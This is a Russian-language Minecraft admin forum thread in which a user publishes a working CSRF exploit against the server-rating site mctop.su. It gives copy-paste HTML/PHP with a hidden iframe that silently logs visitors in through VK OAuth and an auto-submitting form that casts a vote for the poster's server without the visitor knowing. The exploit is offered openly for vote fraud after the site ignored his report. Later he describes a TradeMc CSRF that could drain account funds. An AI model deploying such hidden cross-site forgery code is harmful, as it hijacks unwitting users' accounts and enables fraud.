Хостинг серверов Minecraft playvds.com
  1. Вы находитесь в русском сообществе Bukkit. Мы - администраторы серверов Minecraft, разрабатываем собственные плагины и переводим на русский язык плагины наших собратьев из других стран.
    Dismiss Notice

Утилита CSRF на McTop, или при заходе на ваш сайт игрок автоматически голосует за вас

Discussion in 'Руководства, инструкции, утилиты' started by unlimited, Oct 7, 2015.

  1. Автор темы
    unlimited

    unlimited Старожил Пользователь

    Trophy Points:
    123
    Имя в Minecraft:
    infinity
    Понаходил CSRF уязвимости на паре зарубежных и русских сайтов (mcdonate.ru / trademc.org / twitchalerts.com и др.), в том числе и на mctop.su
    Всем этим сайтам написал, большинство прикрыли дырки и дали денежное вознаграждение, но mctop мне за 2 недели даже не ответили, по этому пишу сюда :)

    Уязвимость позволяет вам установить на сайт вашего проекта небольшой скрипт, при заходе на ваш сайт, если человек хоть раз авторизовывался на mctop в прошлом (голосовал за какой-то другой сервер) - Его автоматически залогинит с вк на mctop и он автоматически проголосует за ваш сервер без своего ведома.

    Как установить:
    1) Создаем на сайте файл, например "mctop.php", с таким содержимым:
    HTML:
    <iframe scrolling="no" src="https://oauth.vk.com/authorize?client_id=4968544&redirect_uri=http://mctop.su/site/login_vk&response_type=code" width="0px" frameborder="0" height="0px"></iframe>
     
    <form method="POST" action="http://mctop.su/vote/<ИД_ВАШЕГО_СЕРВЕРА>">
      <input type="hidden" name="nickname" value="<?php echo rand(0,9999999);?>">
      <input type="submit" id="doit">
    </form>
    <script>
      setTimeout(function(){document.getElementById("doit").click()}, 2000);
    </script>
    Где <ИД_ВАШЕГО_СЕРВЕРА> - это id вашего сервера на mctop (например 1088)
    [​IMG]


    2) Добавляем например в конец главой страницы вашего сайта (в Footer) такой код:
    HTML:
    <iframe width="0" scrolling="no" height="0" frameborder="0" src="mctop.php" seamless="seamless"></iframe>

    3) Profit. Петя зашел на ваш сайт -> Если он сегодня еще не голосовал за ваш сервер -> Он только что за него проголосовал.
     
  2. Хостинг MineCraft
    <
  3. Plasticable

    Plasticable Старожил Девелопер Пользователь

    Trophy Points:
    173
    Skype:
    plasticable
    Имя в Minecraft:
    Plasticable
    Лука
     
  4. Левый

    Левый Старожил Пользователь

    Trophy Points:
    173
    Skype:
    malhenko26
    Имя в Minecraft:
    Lefty
    Хм, а что если он зайдет на сайт ещё раз? Ещё один голос начислят?
     
  5. Автор темы
    unlimited

    unlimited Старожил Пользователь

    Trophy Points:
    123
    Имя в Minecraft:
    infinity
    Раз в 24 часа, тоже самое если бы он самостоятельно голосовал
     
  6. Автор темы
    unlimited

    unlimited Старожил Пользователь

    Trophy Points:
    123
    Имя в Minecraft:
    infinity
    Нет, если вк приложение mctop'а одобрено (Человек хотя-бы 1 раз авторизировался на mctop) - его залогинит автоматически.
     
  7. Juice987

    Juice987 Активный участник Пользователь

    Trophy Points:
    76
    с другими топами прокатит ?
     
  8. Xfester12

    Xfester12 Активный участник Пользователь

    Trophy Points:
    88
    Имя в Minecraft:
    Xfester
    СПАСИБ!
     
  9. zixxa

    zixxa Старожил Пользователь

    Trophy Points:
    103
    Ну вот, теперь куча школотронов поставят этот скрипт и накрутят себе голоса.
     
  10. MrTrojan

    MrTrojan Активный участник Пользователь

    Trophy Points:
    98
    Skype:
    mrtrojan.ru
    Имя в Minecraft:
    MrTrojan
    Ну сами же не захотели фиксить, мы что умолять их будем фиксить?
     
  11. Sergey_28rus

    Sergey_28rus Активный участник Пользователь

    Trophy Points:
    76
    То чувство, когда начал уже ставить, а вспомнил что нету тебя на mctop
     
  12. Левый

    Левый Старожил Пользователь

    Trophy Points:
    173
    Skype:
    malhenko26
    Имя в Minecraft:
    Lefty
    А если он ни разу не голосовал на mctop?[DOUBLEPOST=1444382056,1444381965][/DOUBLEPOST]
    А если он голосовал сегодня, го за другой проект? Мне голос начислится или нет?!
     
  13. Автор темы
    unlimited

    unlimited Старожил Пользователь

    Trophy Points:
    123
    Имя в Minecraft:
    infinity
    Если ниразу не входил на mctop, то не проголосует.
    Если уже голосовал сегодня за другой проект - голос за твой проект начислится.[DOUBLEPOST=1444387990][/DOUBLEPOST]
    И разговор с вами у меня сложился примерно вот такой:
    [​IMG]Дмитрий
    Привет, я нашел очень серьезную уязвимость на TradeMc, если админ сервера кликнет по моей ссылке я могу поменять любую настройку в его личном кабинете, вывести на свой кошелек деньги с доната, добавить любые команды в магазин сервера, даже удалить проект.
    Можете предоставить награду за нахождение уязвимости? Я предоставлю все данные о ней, даже помогу пофиксить.

    [​IMG]Сашка
    Что вы имеете ввиду?

    [​IMG]Дмитрий
    Если админ сервера перейдет по моей ссылке когда он авторизован на TradeMc, я могу без его ведома провести любое действие с его аккаунтом
    Я могу замаскировать такую ссылку под какую нибудь картинку / пост в блоге / какой нибудь эмейл

    [​IMG]Сашка
    Каким образом?

    [​IMG]Дмитрий
    Если пользователь авторизован на TradeMc и у него есть 100р. на аккаунте, просто перейдя по этой ссылке (пример)starcrack.hol.es/babon/trademc.html он отправит деньги на любой указанный мною адрес
    Можно сделать так что он даже не увидит этой переадресации на ваш сайт

    [​IMG]Сашка
    ну понятно

    [​IMG]Дмитрий
    Это действительно одна из самых опасных уязвимостей в вебе
    И у вас от нее 0 защиты

    [​IMG]Сашка
    Хорошо. Спасибо за информацию

    [​IMG]Дмитрий
    »Можете предоставить награду за нахождение уязвимости? Я предоставлю все данные о ней, даже помогу пофиксить.

    [​IMG]Сашка
    Какую награду?

    [​IMG]Дмитрий
    Денежную. И я расскажу все подробности, что за уязвимость, как исправить.

    [​IMG]Сашка
    мы не даем никаких наград
     
  14. Xfester12

    Xfester12 Активный участник Пользователь

    Trophy Points:
    88
    Имя в Minecraft:
    Xfester
    По разговору с этим "меденжером" видно, что он либо даун, либо недопонимает о чем говорит. Хотя, да действительно, процент то они получили, а на бабло других им пофиг.
     

Share This Page